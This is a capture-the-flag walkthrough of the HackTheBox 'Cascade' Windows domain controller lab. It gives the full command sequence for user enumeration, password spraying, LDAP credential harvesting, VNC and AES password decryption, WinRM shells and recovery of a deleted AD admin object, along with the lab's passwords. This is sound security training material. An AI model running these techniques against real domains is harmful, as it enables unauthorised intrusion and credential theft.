Cascade

Field	Value
Platform	HackTheBox
OS	Windows Server 2008 R2 SP1 (Domain Controller)
Difficulty	Medium
Initial Vector	RPC null session → LDAP legacy password attr → SMB Data share → VNC reg decrypt
Privesc	Audit$ share → .NET reverse engineering → ArkSvc → AD Recycle Bin → TempAdmin deleted object

---

Phase 1 — Reconnaissance

I started with a fast SYN sweep across all TCP ports, then ran a focused version and script scan against the discovered ports.

nmap -sS -n -Pn --min-rate 5000 -p- 10.129.24.67 -oG ports
nmap -sV -sC -p53,88,135,139,389,445,464,593,636,3268,3269,5985,49154,49155,49157,49158,49165 --min-rate 5000 10.129.24.67 -n -Pn

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-24 22:40:26Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, ...)
445/tcp   open  microsoft-ds?
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, ...)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1
smb2-security-mode: Message signing enabled and required
clock-skew: 3s

Port	Service	Version	Notes
53	DNS	Microsoft DNS 6.1.7601	Domain: cascade.local; Server 2008 R2
88	Kerberos	—	DC confirmed; hostname CASC-DC1
139/445	SMB	—	Signing required; null/Guest denied
389/3268	LDAP	—	Anonymous bind responsive
5985	WinRM	HTTPAPI 2.0	Shell entry point once creds obtained

Clock skew was only 3 seconds — no synchronization needed. SMB signing required ruled out relay attacks.

echo "10.129.24.67 cascade.local CASC-DC1.cascade.local" >> /etc/hosts

---

Phase 2 — Service Enumeration

SMB (445)

I started with null and Guest session checks to determine what was accessible without credentials.

nxc smb 10.129.24.67 -u '' -p '' --shares
nxc smb 10.129.24.67 -u 'guest' -p '' --shares

Null and Guest sessions were denied. RPC null session enumeration was still possible, so I built a user list directly from there.

rpcclient -U "" -N 10.129.24.67 -c "enumdomusers"

rpcclient -U "" -N 10.129.24.67 -c "querydispinfo"

None of the users had an interesting description field. I extracted a clean user list directly from the RPC output.

rpcclient -U "" -N 10.129.24.67 -c "enumdomusers" | grep -oP '\[.*?\]' | grep -v '0x' | tr -d '[]' > users.txt

Before moving to LDAP, I tried username-as-password spraying across all enumerated accounts.

nxc smb 10.129.24.67 -u users.txt -p users.txt --no-bruteforce --continue-on-success

No matches. Moving to LDAP enumeration.

---

LDAP (389)

I performed a full anonymous LDAP dump and filtered through it manually — ldapsearch with a wildcard returns every attribute on every object, including non-standard ones that ldapdomaindump and BloodHound do not surface by default.

ldapsearch -x -H ldap://10.129.24.67 -b "DC=cascade,DC=local" > fulldomaindump.txt

Navigating through the dump and filtering by UserPrincipalName, I found that user r.thompson had a non-standard attribute containing what appeared to be a base64-encoded legacy password.

echo 'clk0bjVldmE=' | base64 --decode
# rY4n5eva

nxc smb 10.129.24.67 -u users.txt -p 'rY4n5eva' --continue-on-success

Valid credentials confirmed: r.thompson : rY4n5eva. I enumerated the shares accessible to this account and found read access to the Data share. I enumerated it recursively.

smbmap -H 10.129.24.67 -u r.thompson -p rY4n5eva -d cascade.local -r Data --depth 10

I then ran ldapdomaindump to review group memberships.

python3 -m ldapdomaindump -u 'cascade.local\r.thompson' -p 'rY4n5eva' 10.129.24.67

Key findings from the dump: s.smith is in Remote Management Users and is a valuable WinRM target. ArkSvc is a member of both Remote Management Users and AD Recycle Bin — a very interesting combination given the hint in the email archive. I ran BloodHound to confirm there were no Kerberoastable or AS-REP-roastable users before moving forward.

/opt/Bloodhound/bloodhound-cli up
nxc ldap 10.129.24.67 -u 'r.thompson' -p 'rY4n5eva' --bloodhound --collection All --dns-server 10.129.24.67

No roastable accounts confirmed. I mounted the Data share to retrieve all interesting files at once.

mkdir /mnt/smbCascade
mount -t cifs //10.129.24.67/Data /mnt/smbCascade -o username=r.thompson,password=rY4n5eva,domain=cascade.local,rw

Three files of interest were recovered:

• /Data/IT/Email Archives/Meeting_Notes_June_2018.html
• /Data/IT/Logs/Ark AD Recycle Bin/ArkAdRecycleBin.log
• /Data/IT/Temp/s.smith/VNC Install.reg

The email archive contained a critical narrative clue from the IT team:

We will be using a temporary account to perform all tasks related to the network migration
and this account will be deleted at the end of 2018 once the migration is complete.
This will allow us to identify actions related to the migration in security logs etc.
Username is TempAdmin (password is the same as the normal admin account password).

This established a clear objective: if ArkSvc could be compromised, its AD Recycle Bin membership could be used to recover the deleted TempAdmin object and retrieve the Administrator password.

The VNC Install.reg file contained a registry export from a VNC installation.

A Password entry was present in hex format:

"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f

VNC stores passwords encrypted with a fixed DES key. The key e84ad660c4721ae0 is publicly known and documented. Attempting a direct hex-to-string conversion first confirmed the value was not plaintext.

echo "6bcf2a4b6e5aca0f" | xxd -ps -r | xxd
# 00000000: 6bcf 2a4b 6e5a ca0f  k.*KnZ..

Decrypting with the known VNC DES key using OpenSSL:

echo -n 6bcf2a4b6e5aca0f | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d -provider legacy -provider default | hexdump -Cv

Password decrypted: sT333ve2. I sprayed it across all domain users to identify the account.

nxc smb 10.129.24.67 -u users.txt -p 'sT333ve2' --continue-on-success

Valid credentials confirmed: s.smith : sT333ve2. Since s.smith is in Remote Management Users, I opened a WinRM shell.

---

WinRM (5985)

evil-winrm -i 10.129.24.67 -u s.smith -p 'sT333ve2'

whoami /all

High-interest group memberships found on s.smith: CASCADE\IT, CASCADE\Audit Share, and CASCADE\Data Share. The Audit Share membership was the most immediately actionable.

The user flag was located on C:\Users\s.smith\Desktop\user.txt.

---

Phase 3 — Attack Path

Initial Access

s.smith had read access to the Audit$ share via Audit Share group membership. I enumerated and downloaded its contents.

nxc smb 10.129.24.67 -u 's.smith' -p 'sT333ve2' --shares

smbclient //10.129.24.67/Audit$ -U cascade.local/s.smith%sT333ve2

prompt off
recursive on
mget *

The share contained CascAudit.exe, CascCrypto.dll, RunAudit.bat, System.Data.SQLite.dll, and a DB/ directory. I inspected the SQLite database first.

sqlite3 audit.db

.tables
-- DeletedUserAudit  Ldap  Misc

select * from DeletedUserAudit;
-- 9|TempAdmin|TempAdmin|DEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a|...

select * from Ldap;
-- 1|ArkSvc|BQO5l5Kj9MdErXx6Q6AGOw==|cascade.local

The Ldap table contained what appeared to be a base64-encoded password for ArkSvc: BQO5l5Kj9MdErXx6Q6AGOw==. Direct base64 decoding produced binary garbage — the value was encrypted. I used strings to look for potential keys inside CascAudit.exe.

strings CascAudit.exe -e l

A candidate encryption key appeared: c4scadek3y654321. To understand how decryption worked exactly, I decompiled CascAudit.exe using dotPeek on a Windows machine — CascAudit.exe is a standard .NET assembly, making full source reconstruction trivial.

The decompiled source confirmed the decryption call:

str1 = Crypt.DecryptString(str2, "c4scadek3y654321");

The source also showed using CascCrypto — the DLL we had downloaded. I decompiled CascCrypto.dll as well.

CascCrypto.dll revealed the full AES parameters:

const string DefaultIV = "1tdyjCby1Ix49842";
aes.Mode = CipherMode.CBC;

The complete decryption parameters were now known:

• Algorithm: AES-CBC
• Key: c4scadek3y654321
• IV: 1tdyjCby1Ix49842

I decrypted the password using CyberChef.

Password decrypted: ArkSvc : w3lc0meFr31nd. I opened a WinRM shell as ArkSvc.

evil-winrm -i 10.129.24.67 -u 'ArkSvc' -p 'w3lc0meFr31nd'

whoami /all

ArkSvc was confirmed as a member of CASCADE\AD Recycle Bin — exactly what the email archive had pointed toward.

Privilege Escalation — AD Recycle Bin Recovery

Recalling the email from the Data share: TempAdmin's password was the same as the normal Administrator account password, and the account was deleted at the end of 2018. As a member of AD Recycle Bin, ArkSvc can recover deleted objects including all their attributes. I listed all deleted user objects first.

Get-ADObject -Filter {Deleted -eq $true -and ObjectClass -eq "User"} -IncludeDeletedObjects

Deleted           : True
DistinguishedName : CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local
Name              : TempAdmin
ObjectClass       : user
ObjectGUID        : f0cc344d-31e0-4866-bceb-a842791ca059

TempAdmin was found. I retrieved all its properties to look for the legacy password attribute.

Get-ADObject -Filter {Deleted -eq $true -and ObjectClass -eq "User"} -IncludeDeletedObjects -Properties *

The cascadeLegacyPwd attribute was present on the deleted object — deleted AD objects retain all attributes by default, which is what makes AD Recycle Bin membership so dangerous.

cascadeLegacyPwd: YmFDVDNyMWFOMDBkbGVz

echo "YmFDVDNyMWFOMDBkbGVz" | base64 --decode
# baCT3r1aN00dles

As the email confirmed, TempAdmin's password was the same as the normal admin account password. I authenticated directly as Administrator.

evil-winrm -i 10.129.24.67 -u 'Administrator' -p 'baCT3r1aN00dles'

Shell obtained as cascade\Administrator. Root flag retrieved from C:\Users\Administrator\Desktop\root.txt.

---

Flags

Flag	Path	Value
User	C:\Users\s.smith\Desktop\user.txt	FLAG{REDACTED}
Root	C:\Users\Administrator\Desktop\root.txt	FLAG{REDACTED}

---

Conclusion

1. A two-phase Nmap scan identified a Windows Server 2008 R2 DC with SMB, LDAP, and WinRM exposed; domain cascade.local and hostname CASC-DC1 were leaked via LDAP and Nmap service info.
2. Null and Guest SMB sessions were denied; RPC null session produced the full domain user list. Username-as-password spray failed. An anonymous LDAP dump revealed a non-standard cascadeLegacyPwd-style base64 attribute on r.thompson — decoded to r.thompson : rY4n5eva.
3. r.thompson had read access to the Data share; a mounted recursive copy retrieved Meeting_Notes_June_2018.html (revealing TempAdmin's password equals Administrator's) and VNC Install.reg containing a hex-encoded VNC password. DES decryption with the known VNC fixed key yielded s.smith : sT333ve2.
4. s.smith's Audit Share group membership gave read access to Audit$; audit.db contained an AES-CBC encrypted password for ArkSvc. Decompiling CascAudit.exe and CascCrypto.dll with dotPeek recovered the key (c4scadek3y654321) and IV (1tdyjCby1Ix49842); CyberChef decrypted ArkSvc : w3lc0meFr31nd.
5. ArkSvc was a member of AD Recycle Bin; Get-ADObject -IncludeDeletedObjects -Properties * recovered the deleted TempAdmin object with its cascadeLegacyPwd attribute still intact — base64 decoded to baCT3r1aN00dles, which authenticated directly as Administrator and yielded the root flag.

The system fell because legacy password attributes were stored in plaintext on LDAP objects, VNC registry exports with known-key-encrypted passwords were left in accessible shares, and custom .NET encryption with hardcoded keys was trivially reversed — each layer exposing a credential that fed the next.